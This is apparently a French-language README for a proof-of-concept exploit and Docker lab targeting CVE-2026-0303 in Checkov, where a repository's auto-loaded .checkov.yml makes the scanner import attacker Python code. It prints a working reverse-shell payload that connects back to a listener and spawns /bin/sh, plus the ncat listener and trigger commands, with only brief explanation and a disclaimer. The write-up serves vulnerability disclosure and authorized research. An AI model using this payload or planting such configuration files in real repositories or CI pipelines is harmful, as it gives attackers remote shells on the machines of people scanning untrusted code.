
Preuve de concept et laboratoire Docker pour CVE-2026-0303, démontrant l'exécution de code arbitraire dans Checkov via un fichier .checkov.yml chargé automatiquement et pointant vers une vérification externe contrôlée par l'attaquant.
CVE : CVE-2026-0303 | Score de base CVSS : 6.3 | Gravité : Faible
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnérabilité d'exécution de code arbitraire dans Checkov.
Publiée par Palo Alto Networks le 9 septembre 2026.
Versions affectées : Checkov 3.2.0 à 3.2.531
Version corrigée : Checkov 3.2.532
Exécution de code arbitraire dans Checkov via un fichier .checkov.yml chargé automatiquement
-> exécution de code Python contrôlé par l'attaquant via une vérification personnalisée externe non signée.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov prend en charge les vérifications Python externes. Ces vérifications sont intentionnellement chargées en tant que modules Python, ce qui signifie que les instructions Python de niveau supérieur s'exécutent lors de l'import du module.
Lorsque Checkov analyse un répertoire, il recherche automatiquement dans ce répertoire un
fichier de configuration .checkov.yml ou .checkov.yaml ; un fichier de configuration contrôlé par
l'attaquant pourrait définir external-checks-dir vers un répertoire situé à l'intérieur du dépôt analysé.
Cela crée la chaîne d'exécution suivante :
La victime analyse un dépôt non fiable
->
Checkov charge automatiquement .checkov.yml
->
La configuration définit external-checks-dir
->
Checkov importe un module Python contrôlé par l'attaquant
->
Le code Python de niveau supérieur s'exécute avec les privilèges de Checkov
L'attaquant n'a pas besoin d'exploiter le parseur Terraform ni de fournir une politique Checkov valide. L'exécution du code se produit lorsque Checkov importe le fichier Python.
Cela est particulièrement pertinent pour les pipelines CI qui exécutent automatiquement Checkov sur des pull requests ou d'autres contenus de dépôt non fiables.
La charge utile du lab se connecte depuis le conteneur Checkov à un écouteur sur l'hôte :
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifiez la charge utile dans exploit\external-checks\poc_check.py :
lhost = "127.0.0.1"
lport = 4444
Démarrez un écouteur sur l'hôte :
ncat -lvkp 4444
Déclenchez le comportement vulnérable en analysant le répertoire contrôlé par l'attaquant :
checkov -d /workspace --framework terraform --skip-download
Checkov lit automatiquement /workspace/.checkov.yml, découvre le répertoire de
vérifications externes et importe poc_check.py. L'écouteur devrait recevoir le
shell lorsque l'appel exploit() au niveau du module s'exécute.
J'ai fourni un lab Docker simple que vous pouvez configurer via
docker compose up -d
et vous y connecter à son shell via
docker exec -it scan-server /bin/sh
Ce dépôt contient une preuve de concept indépendante pour CVE-2026-0303. La vulnérabilité a été recréée et testée dans un environnement de laboratoire isolé.
Ce projet est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests dans des environnements isolés. Ne l'utilisez pas contre des systèmes, réseaux, dépôts ou données sans autorisation explicite de leur propriétaire.
L'auteur fournit ce projet tel quel, sans garantie d'aucune sorte, et n'accepte aucune responsabilité pour les dommages, pertes de données, interruptions de service, accès non autorisé ou mauvaise utilisation de ce logiciel ou de ses dérivés.